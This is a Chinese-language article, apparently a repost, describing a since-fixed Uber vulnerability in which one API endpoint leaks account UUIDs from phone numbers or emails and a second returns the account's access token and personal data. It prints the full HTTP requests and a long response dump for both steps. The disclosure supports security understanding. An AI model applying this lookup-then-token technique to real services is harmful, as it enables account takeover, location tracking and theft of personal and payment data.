您好,登錄后才能下訂單哦!
這篇文章給大家介紹如何通過Uber API接口劫持任意Uber注冊賬戶,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
下面涉及的漏洞為Uber的任意賬戶劫持漏洞,漏洞影響Uber的司機、打車乘客(Rider)、第三方合作伙伴以及餐飲外送(Eats)注冊賬戶,攻擊者可通過一個Uber API接口獲得用戶注冊賬戶的UUID,然后利用UUID通過另一Uber API接口發起請求,從其響應中獲得與UUID對應賬戶的訪問控制令牌(token)信息,從而實現賬戶劫持。
問題首先出在Uber的一個API接口中,如果在其POST請求中提供用戶注冊預留的手機號碼或電郵地址,Uber后端服務即能響應返回相應用戶賬戶的UUID號;之后,在另一Uber API接口中,通過利用獲取的用戶UUID號可進一步獲取相應用戶對Uber移動應用APP的訪問控制令牌(Access Token),有了該訪問控制令牌(token),可以對受害者發起賬戶劫持、位置跟蹤、錢款交易和下載乘車路線等操作,嚴重危及受害者賬戶安全。
在Uber的以下API接口POST請求中,如果提供用戶(第三方合作伙伴、乘客、餐飲外送注冊賬戶)的注冊預留手機號碼或電子郵箱地址,請求執行后,在響應消息中我們將會獲得用戶的UUID號信息。如以下通過用戶注冊預留手機號碼獲取用戶的UUID:
請求:
POST /p3/fleet-manager/\_rpc?rpc=addDriverV2 HTTP/1.1Host: partners.uber.com{“nationalPhoneNumber”:”99999xxxxx”,”countryCode”:”1"}
響應:
{ “status”:”failure”, ”data”: { “code”:1009, ”message”:”Driver ‘47d063f8–0xx5e-xxxxx-b01a-xxxx’ not found” }}
如果在請求中提供用戶的注冊預留手機號99999xxxxx,則響應消息中將返回用戶的UUID號:‘47d063f8–0xx5e-4eb4-xxx-xxxxxxx’。
以下通過用戶注冊預留的郵箱地址獲取用戶的UUID:
請求:
POST /p3/fleet-manager/\_rpc?rpc=addDriverV2 HTTP/1.1Host: partners.uber.com{“email”:”xxx@gmail.com”}
響應:
{ “status”:”failure”, ”data”: { “code”:1009, ”message”:”Driver ‘ca111b95–1111–4396-b907–83abxxx5f7371e’ not found” }}
用戶注冊預留電郵地址address xxx@gmail.com,同樣Uber后端響應返回用戶UUID號:‘Ca111b95–1111–4396-b907–83abxxx5f7371e’ 。
獲取到上述任意用戶UUID號之后,在另一Uber API接口中,通過利用獲取的用戶UUID號可進一步獲取相應用戶對Uber移動應用APP的訪問控制令牌(Access Token)、地理位置、家庭地址等敏感信息。有了訪問控制令牌(Access Token)后,也就能完全劫持任意Uber賬戶了,從受害者賬戶中可以看到他的乘車路線、打車請求、付款信息等等。以下為我的測試賬號證明。
通過另一Uber API獲得訪問控制令牌(Access Token)等信息:
請求:
POST /marketplace/\_rpc?rpc=getConsentScreenDetails HTTP/1.1Host: bonjour.uber.comConnection: closeContent-Length: 67Accept: application/jsonOrigin: [https://bonjour.uber.com](https://bonjour.uber.com)x-csrf-token: xxxxUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36DNT: 1Content-Type: application/jsonAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: xxxxx{“language”:”en”,”userUuid”:”xxxx–776–4xxxx1bd-861a-837xxx604ce”}
上述請求包含的UUID為:xxxx–776–4xxxx1bd-861a-837xxx604ce,以該身份執行請求后,Uber后端的響應如下:
{ “status”:”success”, ”data”:{ “data”:{ “language”:”en”, ”userUuid”:”xxxxxx1e” }, ”getUser”:{ “uuid”:”cxxxxxc5f7371e”, ”firstname”:”Maxxxx”, ”lastname”:”XXXX”, ”role”:”PARTNER”, ”languageId”:1, ”countryId”:77, ”mobile”:null, ”mobileToken”:1234, ”mobileCountryId”:77, ”mobileCountryCode”:”+91", ”hasAmbiguousMobileCountry”:false, ”lastConfirmedMobileCountryId”:77, ”email”:”xxxx@gmail.com”, ”emailToken”:”xxxxxxxx”, ”hasConfirmedMobile”:”no”, ”hasOptedInSmsMarketing”:false, ”hasConfirmedEmail”:true, ”gratuity”:0.3, ”nickname”:”abc@gmail.com”, ”location”:”00000", ”banned”:false, ”cardio”:false, ”token”:”b8038ec4143bb4xxxxxx72d”, ”fraudScore”:0, ”inviterUuid”:null, ”pictureUrl”:”xxxxx.jpeg”, ”recentFareSplitterUuids”:[ “xxx” ], ”lastSelectedPaymentProfileUuid”:”xxxxxx”, ”lastSelectedPaymentProfileGoogleWalletUuid”:null, ”inviteCode”:{ “promotionCodeId”:xxxxx, ”promotionCodeUuid”:”xxxx”, ”promotionCode”:”manishas105", ”createdAt”:{ “type”:”Buffer”, ”data”:[0,0,1,76,2,21,215,101] }, ”updatedAt”:{ “type”:”Buffer”, ”data”:[0,0,1,76,65,211,61,9] } }, ”driverInfo”:{ “contactinfo”:”999999999xx”, ”contactinfoCountryCode”:”+91", ”driverLicense”:”None”, ”firstDriverTripUuid”:null, ”iphone”:null, ”partnerUserUuid”:”xxxxxxx”, ”receiveSms”:true, ”twilioNumber”:null, ”twilioNumberFormatted”:null, ”cityknowledgeScore”:0, ”createdAt”:{ “type”:”Buffer”, ”data”:[0,0,1,84,21,124,80,52] }, ”updatedAt”:{ “type”:”Buffer”, ”data”:[0,0,1,86,152,77,41,77] }, ”deletedAt”:null, ”driverStatus”:”APPLIED”, ”driverFlowType”:”UBERX”, ”statusLocks”:null, ”contactinfoCountryIso2Code”:”KR”, ”driverEngagement”:null, ”courierEngagement”:null }, ”partnerInfo”:{ “address”:”Nxxxxxxx”, ”territoryUuid”:”xxxxxx”, ”company”:”None”, ”address2":”None”, ”cityId”:130, ”cityName”:”None”, ”firstPartnerTripUuid”:null, ”preferredCollectionPaymentProfileUuid”:null, ”phone”:””, ”phoneCountryCode”:”+91", ”state”:”None”, ”vatNumber”:”None”, ”zipcode”:”None”, ”createdAt”:{ “type”:”Buffer”, ”data”:[0,0,1,84,21,124,80,52] }, ”updatedAt”:{ “type”:”Buffer”, ”data”:[0,0,1,101,38,177,88,137 ] }, ”deletedAt”:null, ”fleetTypes”:[ ], ”fleetServices”:[ ], ”isFleet”:true }, ”analytics”:{ “signupLat”:133.28741199, ”signupLng”:11177.1111, ”signupTerritoryUuid”:”xxxxx”, ”signupPromoId”:null, ”signupForm”:”iphone”, ”signupSessionId”:”xxxxxxx”, ”signupAppVersion”:”2.64.1", ”signupAttributionMethod”:null, ”createdAt”:{ “type”:”Buffer”, ”data”:[0,0,1,76,2,21,219,1] }, ”updatedAt”:{ “type”:”Buffer”, ”data”:[0,0,1,76,2,21,219,1 ] }, ”signupCityId”:130, ”signupDeviceId”:null, ”signupReferralId”:null, ”signupPromoCode”:null, ”signupPromoCodeUuid”:null, ”signupPromoUuid”:null, ”signupMethod”:”REGULAR” }, ”createdAt”:{ “type”:”Buffer”, ”data”:[0,0,1,76,2,21,215,153] }, ”updatedAt”:{ “type”:”Buffer”, ”data”:[0,0,1,102,81,35,153,135] }, ”deletedAt”:null, ”tenancy”:”uber/production”, ”mobileConfirmationStatus”:”MOBILE_NOT_CONFIRMED”, ”nationalId”:null, ”nationalIdType”:null, ”merchantLocation”:null, ”lastConfirmedMobile”:”xxxxxxxxxx”, ”requestedDeletionAt”:null, ”dateOfBirth”:xxxxxx, ”userTypes”:null, ”preferredName”:”xxxxxxxx”, ”freightInfo”:null, ”tempPictureUrl”:null, ”identityVerified”:null, ”paymentEntityType”:null, ”riderEngagement”:null, ”identityRejectReasonUuid”:null, ”genderInferred”:null, ”genderIdentity”:null, ”genderDocumented”:null, ”riderIneligibleWdw”:null, ”defaultPaymentProfileByProduct”:null, ”loginEligibility”:null }, ”getDisclosureVersionUuid”:””, ”getLocaleCopy”:null }}
可見,響應消息中返回與UUID對應賬戶的所有敏感信息,其中包括了用戶對Uber移動應用APP的訪問控制令牌信息,通過對該令牌信息的利用,即可實現對任意Uber賬戶的劫持。漏洞上報后,Uber方面及時通過對當前請求執行授權限制,并刪除了響應消息中的敏感信息,以此修復了該漏洞。
關于如何通過Uber API接口劫持任意Uber注冊賬戶就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。